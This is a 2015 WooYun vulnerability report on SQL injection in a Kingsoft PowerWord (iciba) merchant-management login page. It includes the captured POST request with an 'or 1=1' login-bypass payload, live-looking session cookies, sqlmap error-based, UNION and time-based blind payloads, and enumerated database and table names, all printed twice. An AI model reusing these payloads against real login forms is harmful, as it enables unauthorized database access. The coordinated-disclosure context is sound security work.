当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141062

漏洞标题:金山词霸某管理系统时间盲注Mysql注入(76表)

相关厂商:金山词霸

漏洞作者: 牛 小 帅

提交时间:2015-09-14 13:54

修复时间:2015-10-29 13:58

公开时间:2015-10-29 13:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-14: 细节已通知厂商并且等待厂商处理中
2015-09-14: 厂商已经确认,细节仅向厂商公开
2015-09-24: 细节向核心白帽子及相关领域专家公开
2015-10-04: 细节向普通白帽子公开
2015-10-14: 细节向实习白帽子公开
2015-10-29: 细节向公众公开

简要描述:

RT

详细说明:

1、金山词霸商家信息网管理系统(重要系统)
http://mis.iciba.com/index.php?action=login
2、抓包

POST /index.php?action=post.login HTTP/1.1
Host: mis.iciba.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://mis.iciba.com/index.php?action=login
Content-Length: 53
Cookie: _ustat=%7B%22i%22%3A0%2C%22n%22%3A%22guest%22%2C%22e%22%3Anull%2C%22s%22%3A%7B%22e%22%3Afalse%2C%22m%22%3Afalse%2C%22u%22%3Afalse%7D%2C%22sid%22%3A%221b7603fb2ce89bcd4a5cb1200d85c702%22%7D; iciba_u_rand=c73ac4038e3bbc191a187644a1363e55%40101.71.243.74; iciba_u_rand_t=1442201527; Hm_lvt_ff8e5ea3d826cc3ff9e62f38fb25f05b=1442201530,1442201607; Hm_lpvt_ff8e5ea3d826cc3ff9e62f38fb25f05b=1442201607; PHPSESSID=30oo98co8vr2gl8pjjtrfimob4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
username=admin' or' 1=1 --&password=admin' or' 1=1 --


3、数据

Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=admin' or' 1=1 --' AND (SELECT 6975 FROM(SELECT COUNT(*),C
ONCAT(0x3a7075633a,(SELECT (CASE WHEN (6975=6975) THEN 1 ELSE 0 END)),0x3a6c7861
3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '
HpLT'='HpLT&password=admin' or' 1=1 --
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: username=-3871' UNION SELECT CONCAT(0x3a7075633a,0x4649427a4352736f
5671,0x3a6c78613a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL# AND 'l
zGo'='lzGo&password=admin' or' 1=1 --
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=admin' or' 1=1 --' AND SLEEP(5) AND 'VypD'='VypD&password=
admin' or' 1=1 --
---
[13:47:34] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.25
back-end DBMS: MySQL 5.0
[13:47:34] [INFO] fetching current user
current user: 'iciba_mis@%'


available databases [4]:
[*] clientindex
[*] ds_data
[*] iciba_mis
[*] information_schema


Database: iciba_mis
[29 tables]
+---------------------------------------+
| 敏感信息不贴出来 |
+---------------------------------------+
Database: clientindex
[6 tables]
+---------------------------------------+
| buttons |
| client_v |
| ds |
| links |
| quwanyingyu |
| webad |
+---------------------------------------+
Database: ds_data
[1 table]
+---------------------------------------+
| ds |
+---------------------------------------+
Database: information_schema
[40 tables]
+---------------------------------------+
| 敏感信息 不贴出 |
+---------------------------------------+

漏洞证明:

1、金山词霸商家信息网管理系统(重要系统)
http://mis.iciba.com/index.php?action=login
2、抓包

POST /index.php?action=post.login HTTP/1.1
Host: mis.iciba.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://mis.iciba.com/index.php?action=login
Content-Length: 53
Cookie: _ustat=%7B%22i%22%3A0%2C%22n%22%3A%22guest%22%2C%22e%22%3Anull%2C%22s%22%3A%7B%22e%22%3Afalse%2C%22m%22%3Afalse%2C%22u%22%3Afalse%7D%2C%22sid%22%3A%221b7603fb2ce89bcd4a5cb1200d85c702%22%7D; iciba_u_rand=c73ac4038e3bbc191a187644a1363e55%40101.71.243.74; iciba_u_rand_t=1442201527; Hm_lvt_ff8e5ea3d826cc3ff9e62f38fb25f05b=1442201530,1442201607; Hm_lpvt_ff8e5ea3d826cc3ff9e62f38fb25f05b=1442201607; PHPSESSID=30oo98co8vr2gl8pjjtrfimob4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
username=admin' or' 1=1 --&password=admin' or' 1=1 --


3、数据

Place: POST
Parameter: username
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: username=admin' or' 1=1 --' AND (SELECT 6975 FROM(SELECT COUNT(*),C
ONCAT(0x3a7075633a,(SELECT (CASE WHEN (6975=6975) THEN 1 ELSE 0 END)),0x3a6c7861
3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '
HpLT'='HpLT&password=admin' or' 1=1 --
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: username=-3871' UNION SELECT CONCAT(0x3a7075633a,0x4649427a4352736f
5671,0x3a6c78613a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL# AND 'l
zGo'='lzGo&password=admin' or' 1=1 --
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: username=admin' or' 1=1 --' AND SLEEP(5) AND 'VypD'='VypD&password=
admin' or' 1=1 --
---
[13:47:34] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.25
back-end DBMS: MySQL 5.0
[13:47:34] [INFO] fetching current user
current user: 'iciba_mis@%'


available databases [4]:
[*] clientindex
[*] ds_data
[*] iciba_mis
[*] information_schema


Database: iciba_mis
[29 tables]
+---------------------------------------+
| 敏感信息不贴出来 |
+---------------------------------------+
Database: clientindex
[6 tables]
+---------------------------------------+
| buttons |
| client_v |
| ds |
| links |
| quwanyingyu |
| webad |
+---------------------------------------+
Database: ds_data
[1 table]
+---------------------------------------+
| ds |
+---------------------------------------+
Database: information_schema
[40 tables]
+---------------------------------------+
| 敏感信息 不贴出 |
+---------------------------------------+

修复方案:

版权声明:转载请注明来源 牛 小 帅@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-14 13:56

厂商回复:

感谢提交,马上跟进处理

最新状态:

暂无